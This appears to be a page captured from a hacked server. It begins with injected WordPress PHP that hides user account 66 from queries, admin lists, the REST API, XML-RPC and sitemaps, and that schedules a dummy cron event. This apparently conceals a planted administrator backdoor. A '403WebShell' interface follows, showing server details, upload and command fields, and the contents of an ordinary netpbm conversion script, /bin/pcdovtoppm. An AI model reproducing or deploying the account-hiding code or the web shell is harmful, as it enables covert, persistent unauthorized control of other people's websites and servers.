add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bin/pcdovtoppm
#!/bin/sh
#
# pcdovtoppm - generate a single PPM file from a PCD overview file
#
# Based on pnmindex (PBMPLUS), which was written by Jef Poskanzer,
# this script makes also use of hpcdtoppm, written by Hadmut Danisch.
#
# Formerly called Pcdindex.
#
# A similar result can be achieved by using "hpcdtoppm -Overview"
# followed by "pnmindex -black" on the generated PPM images.
# This shell just makes it more convenient and transparent to
# convert from one PCD to one PPM overview file.
#
# Additional options (compared to pnmindex) are -maxwidth and
# -font <font>. See "man pbmtext" on how to create your own font.
#
# Pieter S. van der Meulen, 1992.
# Rewritten in sh by Steve McIntyre <93sam@debian.org>, 2001

# You may want to change the default values in the next 6 lines:
maxwidth=1152     # maximum width of the index image
size=192          # make the images about this big
across=6          # show this many images per row
colors="noquant"  # maximum amount of colors or noquant (no quantization)
back="-black"     # default background color
font=" "          # default font or none (pbmtext's internal font)

plainopt=""       # output plain ppm
quietopt=""       # quiet operation (currently no effect)
versionopt=0

usage ()
{
    echo "Usage: $0 [-m W] [-s S] [-a A] [-c N|n] [-f F] [-b|-w] <overview.pcd>"
    echo " with"
    echo "      W = maximum width of the result image   (default: $maxwidth)"
    echo "      S = maximum size of each of the images  (default: $size)"
    echo "      A = maximum number of images across     (default: $across)"
    echo "      N = maximum number of colors or noquant (default: $colors)"
    echo -n "   F = font to be used for annotation      (default: "
    if [ "$font" = " " ] ; then
                echo "internal font)"
    else
                echo "$font)"
    fi
    echo "      -b/-w = black/white background color    (default: $back)"
    echo " "
    echo " e.g.: $0 -m 768 -s 96 -f smallfont.pbm overview.pcd > overview.ppm"
    echo " or  : $0 /cdrom/photo_cd/overview.pcd | ppmtojpeg > overview.jpg"
    exit 1
}

version ()
{
    # report version using pnmscale
    pnmscale -version $quietopt
    exit 0
}

# Parse the options
while :; do
    case "$1" in 
        -m|-ma|-max|-maxw|-maxwi|-maxwid|-maxwidt|-maxwidth )
             if [ $# -lt 2 ] ; then usage; fi
             maxwidth="$2"
             shift
             shift
             ;;

        -s|-si|-siz|-size )
             if [ $# -lt 2 ] ; then usage; fi
             size="$2"
             shift
             shift
             ;;

         -a|-ac|-acr|-acro|-acros|-across )
             if [ $# -lt 2 ] ; then usage; fi
             across="$2"
             shift
             shift
             ;;

         -c|-co|-col|-colo|-color|-colors )
             if [ $# -lt 2 ] ; then usage; fi
             colors="$2"
             shift
             shift
             ;;

         -f|-fo|-fon|-font )
             if [ $# -lt 2 ] ; then usage; fi
             font="-font $2"
             shift
             shift
             ;;

         -b|-bl|-bla|-blac|-black )
             back="-black"
             shift
             ;;

         -w|-wh|-whi|-whit|-white )
             back="-white"
             shift
             ;;
             
         -p|-pl|-pla|-plai|-plain )
             plainopt="-plain"
             shift
             ;;
            
         -q|-qu|-qui|-quie|-quiet )
             quietopt="-quiet"
             shift
             ;;
             
         -v|-ve|-ver|-vers|-versi|-versio|-version )
             versionopt="1"
             shift
             ;;
                    
         -*)
             echo "$0 : Unknown option $1" 1>&2
             echo " " 1>&2
             usage
             ;;

         *)
             break
             ;;

    esac
done

if [ $versionopt -eq 1 ] ; then
    version
elif [ $# -eq 0 ] ; then
    usage
fi

tempdir=$(mktemp -d "${TMPDIR:-/tmp}/pcdovtoppm.XXXXXXXX") ||
    { echo "Could not create temporary file. Exiting." 1>&2; exit 1; }
trap 'rm -rf $tempdir' 0

tmpfile=$(mktemp --tmpdir piXXXXXX)

# Convert the PCD overview file to many PPM images
if [ -f $1 ] ; then
    hpcdtoppm -Overview $1 $tmpfile ||
        { echo "$0: Hpcdtoppm failed. Exiting" 1>&2 ; exit 1; }
else
    echo "$0 : Could not access $1" 1>&2
    echo " " 1>&2
    usage
fi

imagefiles=
rowfiles=
row=1
col=1
width=$size

for i in "$tmpfile"* 
do
    if [ -f $i ] ; then
        thiswidth=$(pamfile -machine $i | cut -f 4 -d ' ')
        thisheight=$(pamfile -machine $i | cut -f 5 -d ' ')
        if [ "$thiswidth" -le $size -a "$thisheight" -le $size ] ; then
            cat $i > $tmpfile
        else
            if [ "$colors" = "n" ] ; then
                pnmscale -quiet -xysize $size $size $i > $tmpfile
            else
                pnmscale -quiet -xysize $size $size $i | \
                ppmquant -quiet $colors > $tmpfile
            fi
        fi
    fi
    imagefile=${tempdir}/pi.${row}.${col}
    rm -f $imagefile
    ttext="$i:t"

    if [ "$back" = "-white" ] ; then
        pbmtext $font "$ttext" | pnmcrop -quiet | pnmmargin -white 2 | \
        pamcat $back -topbottom $tmpfile - > $imagefile
    else
        pbmtext $font "$ttext" | pnmcrop -quiet | pnmmargin -white 2 | \
          pnminvert | \
          pamcat $back -topbottom $tmpfile - > $imagefile
    fi

    rm -f $tmpfile
    thisWidth=$(pamfile -machine $i | cut -f 4 -d ' ')
    width=$(( $width + $thisWidth ))
    imagefiles="$imagefiles $imagefile"

    if [ $col -ge $across -o $width -gt $maxwidth ] ; then
        rowfile=${tempdir}/pi.${row}
        rm -f $rowfile
    if [ "$colors" = "n" ] ; then
        pamcat $back -leftright -jbottom $imagefiles > $rowfile
    else
        pamcat $back -leftright -jbottom $imagefiles | \
        ppmquant -quiet $colors > $rowfile
    fi
    rm -f $imagefiles
    imagefiles=
    rowfiles="$rowfiles $rowfile"
    col=1
    row=$(( $row + 1 ))
    width=$size
    else
        col=$(( $col + 1 ))
    fi
done

if [ -n $imagefiles ] ; then
    rowfile=${tempdir}/pi.${row}
    rm -f $rowfile
    if [ "$colors" = "n" ] ; then
        pamcat $back -leftright -jbottom $imagefiles > $rowfile
    else
        pamcat $back -leftright -jbottom $imagefiles | \
          ppmquant -quiet $colors > $rowfile
    fi
    rm -f $imagefiles
    rowfiles="$rowfiles $rowfile"
fi

if [ $(echo $rowfiles|wc -w) -eq 1 ] ; then
    ppmtoppm $plainopt < $rowfiles
else
    if [ "$colors" = "n" ] ; then
        pamcat $back -topbottom $rowfiles | \
          ppmtoppm $plainopt
    else
        pamcat $back -tb $rowfiles | \
          ppmquant $plainopt -quiet $colors
    fi
fi

rm -f $rowfiles

exit 0



Youez - 2016 - github.com/yon3zu
LinuXploit